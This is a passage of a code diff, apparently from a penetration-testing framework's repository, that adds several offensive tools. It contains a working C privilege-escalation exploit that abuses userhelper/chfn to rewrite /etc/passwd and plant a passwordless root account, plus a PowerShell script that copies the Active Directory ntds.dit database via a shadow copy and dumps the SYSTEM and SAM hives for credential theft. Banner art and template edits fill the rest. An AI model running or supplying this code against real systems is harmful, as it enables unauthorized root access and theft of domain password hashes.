if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
|
||||
|
||||
const int devnull_fd = open("/dev/null", O_RDWR);
|
||||
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
|
||||
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
|
||||
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
|
||||
static const struct sched_param sched_param = { .sched_priority = 0 };
|
||||
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
|
||||
|
||||
char *const argv[] = { UH_PATH,
|
||||
UH_FULLNAME_OPT, uh->gecos.full_name,
|
||||
UH_OFFICE_OPT, uh->gecos.office,
|
||||
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
|
||||
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
|
||||
NULL };
|
||||
char *const envp[] = { NULL };
|
||||
execve(UH_PATH, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (die_fn != die_in_parent) die();
|
||||
if (close(sv[0]) != 0) die();
|
||||
uh->fd = sv[1];
|
||||
|
||||
unsigned long expected_responses = 0;
|
||||
for (;;) {
|
||||
char data[BUFSIZ];
|
||||
const char type = read_request(uh->fd, data, sizeof(data));
|
||||
if (type == UH_SYNC_POINT) break;
|
||||
|
||||
switch (type) {
|
||||
case UH_USER:
|
||||
if (strcmp(data, my.username) != 0) die();
|
||||
break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO.%clr%bldMMMM%clr%red.oOOOOoOOOOl.%clr%bldMMMM%clr%red,OOOOOOOOo
|
||||
dOOOOOOOO.%clr%bldMMMMMM%clr%red.cOOOOOc.%clr%bldMMMMMM%clr%red,OOOOOOOOx
|
||||
lOOOOOOOO.%clr%bldMMMMMMMMM%clr%red;d;%clr%bldMMMMMMMMM%clr%red,OOOOOOOOl
|
||||
.OOOOOOOO.%clr%bldMMM%clr%red.;%clr%bldMMMMMMMMMMM%clr%red;%clr%bldMMMM%clr%red,OOOOOOOO.
|
||||
cOOOOOOO.%clr%bldMMM%clr%red.OOc.%clr%bldMMMMM%clr%red'oOO.%clr%bldMMM%clr%red,OOOOOOOc
|
||||
oOOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOOo
|
||||
lOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOl
|
||||
;OOOO'%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red;OOOO;
|
||||
.dOOo'%clr%bldWM%clr%red.OOOOocccxOOOO.%clr%bldMX%clr%red'xOOd.
|
||||
,kOl'%clr%bldM%clr%red.OOOOOOOOOOOOO.%clr%bldM%clr%red'dOk,
|
||||
:kk;.OOOOOOOOOOOOO.;Ok:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
|
||||
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
|
||||
lOOOOOOOO. ;d; ,OOOOOOOOl
|
||||
.OOOOOOOO. .; ; ,OOOOOOOO.
|
||||
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
|
||||
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
|
||||
lOOOOO. .OOOO. :OOOO. ,OOOOOl
|
||||
;OOOO' .OOOO. :OOOO. ;OOOO;
|
||||
.dOOo .OOOOocccxOOOO. xOOd.
|
||||
,kOl .OOOOOOOOOOOOO. .dOk,
|
||||
:kk;.OOOOOOOOOOOOO.cOk:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -1,11 +1,9 @@
|
||||
## <%= items[:mod_name] %>
|
||||
<p>
|
||||
<%= normalize_description(items[:mod_description]) %>
|
||||
</p>
|
||||
|
||||
## Module Name
|
||||
|
||||
<%= Rex::Text.html_encode(items[:mod_fullname]) %>
|
||||
<%= CGI::escapeHTML(items[:mod_fullname]) %>
|
||||
|
||||
## Authors
|
||||
|
||||
@@ -47,4 +45,4 @@ No options required.
|
||||
|
||||
## Basic Usage
|
||||
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
|
||||
@@ -65,4 +65,4 @@
|
||||
</div>
|
||||
<% end %>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,139 @@
|
||||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
